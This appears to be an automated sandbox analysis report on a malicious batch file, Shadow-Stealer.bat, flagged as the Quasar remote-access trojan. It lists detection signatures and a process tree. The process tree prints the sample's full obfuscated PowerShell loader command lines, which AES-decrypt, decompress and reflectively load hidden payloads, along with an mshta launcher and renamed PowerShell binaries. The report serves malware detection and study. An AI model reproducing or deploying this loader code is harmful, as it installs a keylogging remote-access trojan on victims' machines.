Edit tour

Windows Analysis Report
Shadow-Stealer.bat

Overview

General Information

Sample Name:	Shadow-Stealer.bat
Analysis ID:	1352637
MD5:	cf5b412ffc3ce43cd7ddce602fc67f56
SHA1:	221dfcd0868158f676c472d8a5bcf9647f0c7d51
SHA256:	84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724
Tags:	bat
Infos:

Detection

Quasar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Quasar RAT

Detected unpacking (creates a PE file in dynamic memory)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Yara detected Costura Assembly Loader

Renames powershell.exe to bypass HIPS

Powershell is started from unusual location (likely to bypass HIPS)

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Deletes itself after installation

Found large BAT file

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Powershell connects to network

Found suspicious powershell code related to unpacking or dynamic code loading

Installs a global keyboard hook

Writes to foreign memory regions

Bypasses PowerShell execution policy

Very long command line found

Suspicious powershell command line found

Obfuscated command line found

Modifies the context of a thread in another process (thread injection)

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Searches for the Microsoft Outlook file path

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates COM task schedule object (often to register a task for autostart)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Enables debug privileges

Sample file is different than original file name gathered from version info

Allocates memory with a write watch (potentially for evading sandboxes)

Detected TCP or UDP traffic on non-standard ports

Found evasive API chain (may stop execution after accessing registry keys)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 1668 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Shadow-Stealer.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Shadow-Stealer.bat.exe (PID: 3180 cmdline: "Shadow-Stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\Shadow-Stealer.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN')); MD5: 04029E121A0CFA5991749937DD22A1D9)

dllhost.exe (PID: 3940 cmdline: C:\Windows\System32\dllhost.exe /Processid:{2ca74e05-00fd-4f33-afb0-1baa728859ba} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

dllhost.exe (PID: 1036 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{a795ed5e-f9f8-4b9c-9e39-bf732c676d16} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

dllhost.exe (PID: 5576 cmdline: C:\Windows\System32\dllhost.exe /Processid:{3885b722-1a15-44b5-b09d-ff91e5413f87} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

dllhost.exe (PID: 964 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{99a849d9-b898-48bd-a9ae-8d2739f763c9} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

$sxr-mshta.exe (PID: 2616 cmdline: C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

$sxr-cmd.exe (PID: 1804 cmdline: "C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=% MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

$sxr-powershell.exe (PID: 6400 cmdline: C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG))) MD5: 04029E121A0CFA5991749937DD22A1D9)

dllhost.exe (PID: 1088 cmdline: C:\Windows\System32\dllhost.exe /Processid:{8c0db931-f9fd-42d4-a5c0-43590a2016f6} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

dllhost.exe (PID: 5772 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{c14234ed-73ac-4d78-a200-79518435a2b0} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

$sxr-powershell.exe (PID: 5672 cmdline: "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(6400).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG))) MD5: 04029E121A0CFA5991749937DD22A1D9)

dllhost.exe (PID: 6336 cmdline: C:\Windows\System32\dllhost.exe /Processid:{cbe0811f-76a5-44cc-bdc5-f8341ab968a9} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

winlogon.exe (PID: 560 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

dllhost.exe (PID: 5204 cmdline: C:\Windows\System32\dllhost.exe /Processid:{92e841ec-e3f1-4b8b-895f-b885255cbce1} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 436 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 376 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 60 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dllhost.exe (PID: 3784 cmdline: C:\Windows\System32\dllhost.exe /Processid:{2e416721-4f03-488b-85bf-d48d4305e55d} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 980 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

